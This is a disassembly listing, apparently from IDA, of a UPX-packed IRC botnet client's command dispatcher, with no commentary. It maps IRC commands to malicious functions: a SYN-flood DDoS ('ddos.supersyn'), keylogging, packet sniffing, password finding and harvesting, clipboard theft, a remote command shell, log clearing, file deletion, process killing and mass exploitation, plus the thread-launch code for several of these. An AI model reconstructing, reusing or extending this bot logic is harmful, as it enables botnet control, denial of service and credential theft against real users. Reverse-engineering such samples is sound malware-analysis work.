push offset aDaemon_tftp_of ; "daemon.tftp.off"
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz short loc_41002A
push [ebp+esi+var_90]
push 4
push offset aServer_0 ; "Server"
push offset dword_4371EC
jmp loc_40FEA3
; ---------------------------------------------------------------------------
loc_41002A: ; CODE XREF: sub_40EE51+11BFj
push edi ; Str2
push offset aUtil_findfile_ ; "util.findfile.off"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_414BBE
push edi ; Str2
push offset aUtil_ff_off ; "util.ff.off"
call _strcmp
pop ecx
test eax, eax
loc_41004D: ; DATA XREF: UPX0:0042BC90o
pop ecx
loc_41004E: ; DATA XREF: UPX0:0042BCA4o
jz loc_414BBE
push edi ; Str2
push offset aCom_procs_off ; "com.procs.off"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_414BA6
push edi ; Str2
push offset aCom_ps_off ; "com.ps.off"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_414BA6
push edi ; Str2
push offset aClone_off ; "clone.off"
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz short loc_4100A7
push [ebp+esi+var_90]
push 18h
push offset aClone ; "Clone"
push offset dword_43718C
jmp loc_40FEA3
; ---------------------------------------------------------------------------
loc_4100A7: ; CODE XREF: sub_40EE51+123Cj
push edi ; Str2
push offset aLockdown_stop ; "lockdown.stop"
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz short loc_4100D0
push [ebp+esi+var_90]
push 1Ah
push offset aSecure_0 ; "Secure"
push offset dword_437164
jmp loc_40FEA3
; ---------------------------------------------------------------------------
loc_4100D0: ; CODE XREF: sub_40EE51+1265j
push edi ; Str2
push offset aRoot_stop ; "root.stop"
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz short loc_4100F9
push [ebp+esi+var_90]
push 8
push offset aScan ; "Scan"
push offset aExploitation ; "Exploitation"
jmp loc_40FEA3
; ---------------------------------------------------------------------------
loc_4100F9: ; CODE XREF: sub_40EE51+128Ej
push edi ; Str2
push offset aRoot_stats ; "root.stats"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_414B90
push edi ; Str2
push offset aRoot_st ; "root.st"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_414B90
push edi ; Str2
push offset aIrc_reconnect ; "irc.reconnect"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_414B6F
push edi ; Str2
push offset aIrc_r ; "irc.r"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_414B6F
push edi ; Str2
push offset aIrc_disconnect ; "irc.disconnect"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_414B4D
push edi ; Str2
push offset aIrc_d ; "irc.d"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_414B4D
push edi ; Str2
push offset aIrc_quit ; "irc.quit"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_414B05
push edi ; Str2
push offset aIrc_q ; "irc.q"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_414B05
push edi ; Str2
push offset aIrc_status ; "irc.status"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_414AC7
push edi ; Str2
push offset aIrc_s ; "irc.s"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_414AC7
push edi ; Str2
push offset aIrc_id ; "irc.id"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_414A90
push edi ; Str2
push offset aIrc_i ; "irc.i"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_414A90
push edi ; Str2
push offset aCom_rebewt ; "com.rebewt"
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz short loc_410247
call sub_40AC1B
test eax, eax
mov eax, offset dword_43708C
jnz short loc_410219
mov eax, offset dword_437058
loc_410219: ; CODE XREF: sub_40EE51+13C1j
push eax ; Format
lea eax, [ebp+Dst]
push eax ; Dest
call _sprintf
push ebx ; int
lea eax, [ebp+Dst]
push [ebp+var_4] ; int
push eax ; int
push [ebp+Format] ; Str
push [ebp+arg_4] ; int
call sub_40D670
add esp, 1Ch
jmp loc_40F7F5
; ---------------------------------------------------------------------------
loc_410247: ; CODE XREF: sub_40EE51+13B3j
push edi ; Str2
push offset aThreads_list ; "threads.list"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_41499F
push edi ; Str2
push offset aThreads_l ; "threads.l"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_41499F
push edi ; Str2
push offset aIrc_aliases ; "irc.aliases"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_41497F
push edi ; Str2
push offset aIrc_al ; "irc.al"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_41497F
push edi ; Str2
push offset aIrc_log ; "irc.log"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_41488F
push edi ; Str2
push offset aIrc_lg ; "irc.lg"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_41488F
push edi ; Str2
push offset aUtil_clearlog ; "util.clearlog"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_414876
push edi ; Str2
push offset aUtil_clg ; "util.clg"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_414876
push edi ; Str2
push offset aCom_netinfo ; "com.netinfo"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_41483F
push edi ; Str2
push offset aCom_ni ; "com.ni"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_41483F
push edi ; Str2
push offset aDdos_supersyn ; "ddos.supersyn"
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz loc_410429
mov edi, [ebp+esi+var_90]
push 7Fh ; Count
lea eax, [ebp+var_76C]
push edi ; Source
push eax ; Dest
call _strncpy
mov eax, [ebp+esi+Format]
push 7Fh ; Count
mov [ebp+Str1], eax
push eax ; Source
lea eax, [ebp+var_6EC]
push eax ; Dest
call _strncpy
mov esi, [ebp+esi+var_88]
push 7Fh ; Count
lea eax, [ebp+var_66C]
push esi ; Source
push eax ; Dest
call _strncpy
push 7Fh ; Count
lea eax, [ebp+var_5EC]
push [ebp+Format] ; Source
push eax ; Dest
call _strncpy
mov eax, [ebp+var_4]
push esi
push [ebp+Str1]
mov [ebp+var_568], eax
mov eax, [ebp+var_8]
mov [ebp+var_564], eax
mov eax, [ebp+arg_4]
mov [ebp+var_770], eax
push edi
lea eax, [ebp+Dst]
push offset unk_436F98 ; Format
push eax ; Dest
call _sprintf
add esp, 44h
lea eax, [ebp+Dst]
push ebx ; int
push 14h ; int
push eax ; Source
call sub_416D48
add esp, 0Ch
mov [ebp+var_56C], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_770]
push ebx
push eax
push offset sub_40182E
push ebx
push ebx
call ds:dword_42309C
mov ecx, [ebp+var_56C]
imul ecx, 234h
cmp eax, ebx
mov ds:dword_442084[ecx], eax
jz short loc_410418
loc_410402: ; CODE XREF: sub_40EE51+15C5j
cmp [ebp+var_560], ebx
jnz loc_4145C3
push 32h
call ds:dword_423060 ; Sleep
jmp short loc_410402
; ---------------------------------------------------------------------------
loc_410418: ; CODE XREF: sub_40EE51+15AFj
call ds:dword_423088 ; RtlGetLastWin32Error
push eax
push offset unk_436F4C
jmp loc_413BD1
; ---------------------------------------------------------------------------
loc_410429: ; CODE XREF: sub_40EE51+14D7j
push edi ; Str2
push offset aCom_sysinfo ; "com.sysinfo"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_414814
push edi ; Str2
push offset aCom_si ; "com.si"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_414814
push edi ; Str2
push offset aC00lm4n ; "c00lm4n"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_4147DA
push edi ; Str2
push offset aC00lm4n ; "c00lm4n"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_4147DA
push edi ; Str2
push offset aCom_procs ; "com.procs"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_4146D1
push edi ; Str2
push offset aCom_ps ; "com.ps"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_4146D1
push edi ; Str2
push offset aCom_harvest ; "com.harvest"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_4146A7
push edi ; Str2
push offset aCom_key ; "com.key"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_4146A7
push edi ; Str2
push offset aCom_uptime ; "com.uptime"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_414623
push edi ; Str2
push offset aCom_up ; "com.up"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_414623
push edi ; Str2
push offset aCom_driveinfo ; "com.driveinfo"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_414606
push edi ; Str2
push offset aCom_drv ; "com.drv"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_414606
push edi ; Str2
push offset aCom_testdlls ; "com.testdlls"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_4145ED
push edi ; Str2
push offset aCom_dll ; "com.dll"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_4145ED
push edi ; Str2
push offset aCom_opencmd ; "com.opencmd"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_414581
push edi ; Str2
push offset aCom_ocmd ; "com.ocmd"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_414581
push edi ; Str2
push offset aCom_ocmd_off ; "com.ocmd.off"
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz short loc_4105A2
push [ebp+esi+var_90]
push 7
push offset aRemoteShell ; "Remote shell"
push offset aCmd ; "[CMD]"
jmp loc_40FEA3
; ---------------------------------------------------------------------------
loc_4105A2: ; CODE XREF: sub_40EE51+1737j
push edi ; Str2
push offset aIrc_who ; "irc.who"
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz short loc_41062F
cmp [ebp+var_8], ebx
jnz short loc_4105D2
push ebx ; int
push [ebp+var_4] ; int
push offset aLoginList ; "-[Login List]-"
push [ebp+Format] ; Str
push [ebp+arg_4] ; int
call sub_40D670
add esp, 14h
loc_4105D2: ; CODE XREF: sub_40EE51+1765j
mov edi, [ebp+Str1]
xor esi, esi
loc_4105D7: ; CODE XREF: sub_40EE51+17CCj
cmp [edi], bl
lea eax, [edi+1]
jnz short loc_4105E3
mov eax, offset aEmpty ; "<Empty>"
loc_4105E3: ; CODE XREF: sub_40EE51+178Bj
push eax
push esi
lea eax, [ebp+Dst]
push offset aD_S ; "%d. %s"
push eax ; Dest
call _sprintf
push 1 ; int
lea eax, [ebp+Dst]
push [ebp+var_4] ; int
push eax ; int
push [ebp+Format] ; Str
push [ebp+arg_4] ; int
call sub_40D670
add esp, 24h
inc esi
add edi, 80h
cmp esi, 2
jl short loc_4105D7
push offset dword_436E2C
loc_410624: ; CODE XREF: sub_40EE51+5C3Aj
call sub_40BF6F
pop ecx
jmp loc_414F3C
; ---------------------------------------------------------------------------
loc_41062F: ; CODE XREF: sub_40EE51+1760j
push edi ; Str2
push offset aCom_getclip ; "com.getclip"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_414540
push edi ; Str2
push offset aCom_gc ; "com.gc"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_414540
push edi ; Str2
push offset aUtil_flusharp ; "util.flusharp"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_414515
push edi ; Str2
push offset aUtil_farp ; "util.farp"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_414515
push edi ; Str2
push offset aUtil_flushdns ; "util.flushdns"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_4144F1
push edi ; Str2
push offset aUtil_fdns ; "util.fdns"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_4144F1
push edi ; Str2
push offset aRoot_currentip ; "root.currentip"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_4144B4
push edi ; Str2
push offset aRoot_cip ; "root.cip"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_4144B4
push edi ; Str2
push offset aDaemon_rlogi_0 ; "daemon.rlogin.on"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_414366
push edi ; Str2
push offset aDaemon_rl_on ; "daemon.rl.on"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_414366
push edi ; Str2
push offset aDaemon_httpd_o ; "daemon.httpd.on"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_4141F0
push edi ; Str2
push offset aDaemon_web_on ; "daemon.web.on"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_4141F0
push edi ; Str2
push offset aDaemon_tftp_on ; "daemon.tftp.on"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_4140B2
push edi ; Str2
push offset aDaemon_tf_on ; "daemon.tf.on"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_4140B2
push edi ; Str2
push offset aCom_findpass ; "com.findpass"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_41400B
push edi ; Str2
push offset aCom_fp ; "com.fp"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_41400B
push edi ; Str2
push offset aRoot_massexplo ; "root.massexploit"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_413D0C
push edi ; Str2
push offset aRoot_mass ; "root.mass"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_413D0C
mov edi, [ebp+esi+var_90]
cmp edi, ebx
jz loc_40F215
push [ebp+arg_8] ; Str2
push offset aIrc_nick ; "irc.nick"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_413CF3
push [ebp+arg_8] ; Str2
push offset aIrc_n ; "irc.n"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_413CF3
push [ebp+arg_8] ; Str2
push offset aDsho ; "dsho"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_413CD3
push [ebp+arg_8] ; Str2
push offset aDsho ; "dsho"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_413CD3
push [ebp+arg_8] ; Str2
push offset aBara ; "bara"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_413CBA
push [ebp+arg_8] ; Str2
push offset aBara ; "bara"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_413CBA
push [ebp+arg_8] ; Str2
push offset aIrc_raw ; "irc.raw"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_413C83
push [ebp+arg_8] ; Str2
push offset aIrc_ra ; "irc.ra"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_413C83
push [ebp+arg_8] ; Str2
push offset aThreads_kill ; "threads.kill"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_413BB1
push [ebp+arg_8] ; Str2
push offset aThreads_k ; "threads.k"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_413BB1
push [ebp+arg_8] ; Str2
push offset aClone_quit ; "clone.quit"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_413B08
push [ebp+arg_8] ; Str2
push offset aClone_q ; "clone.q"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_413B08
push [ebp+arg_8] ; Str2
push offset aClone_rndnick ; "clone.rndnick"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_413ABD
push [ebp+arg_8] ; Str2
push offset aClone_rn ; "clone.rn"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_413ABD
push [ebp+arg_8] ; Str2
push offset aIrc_prefix ; "irc.prefix"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_413AA8
push [ebp+arg_8] ; Str2
push offset aIrc_pr ; "irc.pr"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_413AA8
push [ebp+arg_8] ; Str2
push offset aCom_open ; "com.open"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_413A7E
push [ebp+arg_8] ; Str2
push offset aCom_o ; "com.o"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_413A7E
push [ebp+arg_8] ; Str2
push offset aIrc_setserve ; "irc.setserve"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_413A59
push [ebp+arg_8] ; Str2
push offset aIrc_se ; "irc.se"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_413A59
push [ebp+arg_8] ; Str2
push offset aIrc_dns ; "irc.dns"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_4139C7
push [ebp+arg_8] ; Str2
push offset aIrc_dn ; "irc.dn"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_4139C7
push [ebp+arg_8] ; Str2
push offset aCom_killprocna ; "com.killprocname"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_41399B
push [ebp+arg_8] ; Str2
push offset aCom_kpn ; "com.kpn"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_41399B
push [ebp+arg_8] ; Str2
push offset aCom_prockillid ; "com.prockillid"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_413940
push [ebp+arg_8] ; Str2
push offset aCom_pkid ; "com.pkid"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_413940
push [ebp+arg_8] ; Str2
push offset aCom_delete ; "com.delete"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_413909
push [ebp+arg_8] ; Str2
push offset aCom_del ; "com.del"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_413909
push [ebp+arg_8] ; Str2
push offset aDcc_get ; "dcc.get"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_413828
push [ebp+arg_8] ; Str2
push offset aDcc_gt ; "dcc.gt"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_413828
push [ebp+arg_8] ; Str2
push offset aCom_filelist ; "com.filelist"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_41380D
push [ebp+arg_8] ; Str2
push offset aCom_fl ; "com.fl"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_41380D
push [ebp+arg_8] ; Str2
push offset aIrc_visit ; "irc.visit"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_41372F
push [ebp+arg_8] ; Str2
push offset aIrc_v ; "irc.v"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_41372F
push [ebp+arg_8] ; Str2
push offset aMirc_cmd ; "mirc.cmd"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_4136F4
push [ebp+arg_8] ; Str2
push offset aMirc_cmd ; "mirc.cmd"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_4136F4
push [ebp+arg_8] ; Str2
push offset aCom_cmd ; "com.cmd"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_4136A9
push [ebp+arg_8] ; Str2
push offset aCom_cm ; "com.cm"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_4136A9
push [ebp+arg_8] ; Str2
push offset aCom_readfile ; "com.readfile"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_413624
push [ebp+arg_8] ; Str2
push offset aCom_rf ; "com.rf"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_413624
push [ebp+arg_8] ; Str2
push offset aSniff ; "sniff"
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz loc_410C9A
push edi ; Str2
push offset aOn ; "on"
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz loc_410C65
push 19h
call sub_416F90
test eax, eax
pop ecx
jle short loc_410B92
push offset unk_436B60
jmp loc_410D06
; ---------------------------------------------------------------------------
loc_410B92: ; CODE XREF: sub_40EE51+1D35j
mov eax, [ebp+arg_4]
mov esi, [ebp+esi+Format]
mov [ebp+var_4F0], eax
mov eax, [ebp+var_4]
mov [ebp+var_468], eax
mov eax, [ebp+var_8]
cmp esi, ebx
mov [ebp+var_464], eax
jnz short loc_410BD4
mov esi, offset aS_3 ; "#!S#"
push offset byte_4397BC ; Str2
push esi ; Str1
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz short loc_410BD4
mov esi, [ebp+Format]
loc_410BD4: ; CODE XREF: sub_40EE51+1D65j
; sub_40EE51+1D7Bj
push esi ; Format
lea eax, [ebp+var_4EC]
push 80h ; Count
push eax ; Dest
call __snprintf
lea eax, [ebp+Dst]
push offset unk_436B20 ; Format
push eax ; Dest
call _sprintf
push ebx ; int
lea eax, [ebp+Dst]
push 19h ; int
push eax ; Source
call sub_416D48
add esp, 20h
mov [ebp+var_46C], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_4F0]
push ebx
push eax
push offset sub_40267F
push ebx
push ebx
call ds:dword_42309C
mov ecx, [ebp+var_46C]
imul ecx, 234h
cmp eax, ebx
mov ds:dword_442084[ecx], eax
jz short loc_410C54
loc_410C3E: ; CODE XREF: sub_40EE51+1E01j
cmp [ebp+var_460], ebx
jnz loc_410E22
push 32h
call ds:dword_423060 ; Sleep
jmp short loc_410C3E
; ---------------------------------------------------------------------------
loc_410C54: ; CODE XREF: sub_40EE51+1DEBj
call ds:dword_423088 ; RtlGetLastWin32Error
push eax
push offset unk_436AD4
jmp loc_410E13
; ---------------------------------------------------------------------------
loc_410C65: ; CODE XREF: sub_40EE51+1D25j
push edi ; Str2
push offset aOff ; "off"
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz loc_410E22
push ebx
push 19h
call sub_416F43
pop ecx
cmp eax, ebx
pop ecx
jle short loc_410C93
push eax
push offset unk_436A88
jmp loc_410E13
; ---------------------------------------------------------------------------
loc_410C93: ; CODE XREF: sub_40EE51+1E35j
push offset unk_436A50
jmp short loc_410D06
; ---------------------------------------------------------------------------
loc_410C9A: ; CODE XREF: sub_40EE51+1D10j
push [ebp+arg_8] ; Str2
push offset aCom_keylog ; "com.keylog"
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz loc_410E4C
push edi ; Str2
push offset aOn ; "on"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz short loc_410D19
push edi ; Str2
push offset aFile ; "file"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz short loc_410D19
push edi ; Str2
push offset aOff ; "off"
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz loc_410E22
push ebx
push 1Bh
call sub_416F43
pop ecx
cmp eax, ebx
pop ecx
jle short loc_410D01
push eax
push offset unk_4369F8
jmp loc_410E13
; ---------------------------------------------------------------------------
loc_410D01: ; CODE XREF: sub_40EE51+1EA3j
push offset unk_4369BC ; Format
loc_410D06: ; CODE XREF: sub_40EE51+1D3Cj
; sub_40EE51+1E47j ...
lea eax, [ebp+Dst]
push eax ; Dest
call _sprintf
pop ecx
pop ecx
jmp loc_410E22
; ---------------------------------------------------------------------------
loc_410D19: ; CODE XREF: sub_40EE51+1E6Fj
; sub_40EE51+1E80j
push 1Bh
call sub_416F90
test eax, eax
pop ecx
jle short loc_410D2C
push offset unk_43698C
jmp short loc_410D06
; ---------------------------------------------------------------------------
loc_410D2C: ; CODE XREF: sub_40EE51+1ED2j
mov eax, [ebp+arg_4]
push edi ; Str2
mov [ebp+var_4F0], eax
mov eax, [ebp+var_4]
push offset aFile ; "file"
mov [ebp+var_468], eax
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz short loc_410D5B
mov [ebp+var_464], 1
jmp short loc_410D64
; ---------------------------------------------------------------------------
loc_410D5B: ; CODE XREF: sub_40EE51+1EFCj
mov eax, [ebp+var_8]
mov [ebp+var_464], eax
loc_410D64: ; CODE XREF: sub_40EE51+1F08j
mov esi, [ebp+esi+Format]
cmp esi, ebx
jnz short loc_410D8B
mov esi, offset aS_4 ; "#!S#"
push offset byte_4397BC ; Str2
push esi ; Str1
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz short loc_410D8B
mov esi, [ebp+Format]
loc_410D8B: ; CODE XREF: sub_40EE51+1F1Cj
; sub_40EE51+1F32j
push esi ; Format
lea eax, [ebp+var_4E8]
push 80h ; Count
push eax ; Dest
call __snprintf
lea eax, [ebp+Dst]
push offset unk_43695C ; Format
push eax ; Dest
call _sprintf
push ebx ; int
lea eax, [ebp+Dst]
push 1Bh ; int
push eax ; Source
call sub_416D48
add esp, 20h
mov [ebp+var_4EC], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_4F0]
push ebx
push eax
push offset sub_40239E
push ebx
push ebx
call ds:dword_42309C
mov ecx, [ebp+var_4EC]
imul ecx, 234h
cmp eax, ebx
mov ds:dword_442084[ecx], eax
jz short loc_410E07
loc_410DF5: ; CODE XREF: sub_40EE51+1FB4j
cmp [ebp+var_460], ebx
jnz short loc_410E22
push 32h
call ds:dword_423060 ; Sleep
jmp short loc_410DF5
; ---------------------------------------------------------------------------
loc_410E07: ; CODE XREF: sub_40EE51+1FA2j
call ds:dword_423088 ; RtlGetLastWin32Error
push eax
push offset unk_436910 ; Format
loc_410E13: ; CODE XREF: sub_40EE51+1E0Fj
; sub_40EE51+1E3Dj ...
lea eax, [ebp+Dst]
push eax ; Dest
call _sprintf
add esp, 0Ch
loc_410E22: ; CODE XREF: sub_40EE51+1DF3j
; sub_40EE51+1E23j ...
cmp [ebp+var_8], ebx
jnz loc_40F7F5
push ebx ; int
lea eax, [ebp+Dst]
push [ebp+var_4] ; int
push eax ; int
push [ebp+Format] ; Str
push [ebp+arg_4] ; int
call sub_40D670
add esp, 14h
jmp loc_40F7F5
; ---------------------------------------------------------------------------
loc_410E4C: ; CODE XREF: sub_40EE51+1E5Aj
push [ebp+arg_8] ; Str2
push offset aCom_net ; "com.net"
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz loc_41111D
cmp ds:dword_43C6E8, ebx
jz short loc_410E7D
cmp ds:dword_43C710, ebx
jz short loc_410E7D
push offset dword_4368C0
jmp loc_4110D7
; ---------------------------------------------------------------------------
loc_410E7D: ; CODE XREF: sub_40EE51+2018j
; sub_40EE51+2020j
cmp [ebp+var_C], ebx
jz loc_4110E5
mov eax, [ebp+esi+Format]
mov [ebp+Src], ebx
cmp eax, ebx
mov [ebp+Str1], eax
jz short loc_410EA5
push eax ; SubStr
push [ebp+var_C] ; Str
call _strstr
pop ecx
mov [ebp+Src], eax
pop ecx
loc_410EA5: ; CODE XREF: sub_40EE51+2044j
push edi ; Str2
push offset aStart ; "start"
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz short loc_410F0B
cmp [ebp+Str1], ebx
jz short loc_410EDF
push [ebp+Src]
push 3
loc_410EC0: ; CODE XREF: sub_40EE51+20D0j
; sub_40EE51+20E8j ...
call sub_40D70B
push eax
lea eax, [ebp+Dst]
push offset aS_1 ; "%s"
push eax ; Dest
call _sprintf
add esp, 14h
jmp loc_4110E5
; ---------------------------------------------------------------------------
loc_410EDF: ; CODE XREF: sub_40EE51+2068j
push [ebp+var_4] ; int
push [ebp+Format] ; Str
push [ebp+arg_4] ; int
call sub_40D9B2
add esp, 0Ch
test eax, eax
jz short loc_410F01
push offset dword_43688C
jmp loc_4110D7
; ---------------------------------------------------------------------------
loc_410F01: ; CODE XREF: sub_40EE51+20A4j
push offset dword_43685C
jmp loc_4110D7
; ---------------------------------------------------------------------------
loc_410F0B: ; CODE XREF: sub_40EE51+2063j
push edi ; Str2
push offset aStop ; "stop"
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz short loc_410F23
push [ebp+Src]
push 4
jmp short loc_410EC0
; ---------------------------------------------------------------------------
loc_410F23: ; CODE XREF: sub_40EE51+20C9j
push edi ; Str2
push offset aPause ; "pause"
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz short loc_410F3B
push [ebp+Src]
push 5
jmp short loc_410EC0
; ---------------------------------------------------------------------------
loc_410F3B: ; CODE XREF: sub_40EE51+20E1j
push edi ; Str2
push offset aContinue ; "continue"
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz short loc_410F56
push [ebp+Src]
push 6
jmp loc_410EC0
; ---------------------------------------------------------------------------
loc_410F56: ; CODE XREF: sub_40EE51+20F9j
push edi ; Str2
push offset aDelete ; "delete"
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz short loc_410F71
push [ebp+Src]
push 1
jmp loc_410EC0
; ---------------------------------------------------------------------------
loc_410F71: ; CODE XREF: sub_40EE51+2114j
push edi ; Str2
push offset aShare ; "share"
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz short loc_410FEE
cmp [ebp+Str1], ebx
jz short loc_410FC1
cmp [ebp+var_9C4], bl
jz short loc_410F97
push ebx
push [ebp+Str1]
push 1
jmp short loc_410FA2
; ---------------------------------------------------------------------------
loc_410F97: ; CODE XREF: sub_40EE51+213Cj
push [ebp+esi+var_88] ; int
push [ebp+Str1] ; Str
push ebx ; int
loc_410FA2: ; CODE XREF: sub_40EE51+2144j
call sub_40DAEF
push eax
lea eax, [ebp+Dst]
push offset aS_1 ; "%s"
push eax ; Dest
call _sprintf
add esp, 18h
jmp loc_4110E5
; ---------------------------------------------------------------------------
loc_410FC1: ; CODE XREF: sub_40EE51+2134j
push ebx ; int
push [ebp+var_4] ; int
push [ebp+Format] ; Str
push [ebp+arg_4] ; int
call sub_40DCE4
add esp, 10h
test eax, eax
jz short loc_410FE4
push offset dword_43680C
jmp loc_4110D7
; ---------------------------------------------------------------------------
loc_410FE4: ; CODE XREF: sub_40EE51+2187j
push offset dword_4367DC
jmp loc_4110D7
; ---------------------------------------------------------------------------
loc_410FEE: ; CODE XREF: sub_40EE51+212Fj
push edi ; Str2
push offset aUser ; "user"
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz loc_41108A
mov eax, [ebp+Str1]
cmp eax, ebx
jz short loc_411063
cmp [ebp+var_9C4], bl
jz short loc_411024
push [ebp+var_4]
push [ebp+Format]
push [ebp+arg_4]
push ebx
push eax
push 1
jmp short loc_411044
; ---------------------------------------------------------------------------
loc_411024: ; CODE XREF: sub_40EE51+21BFj
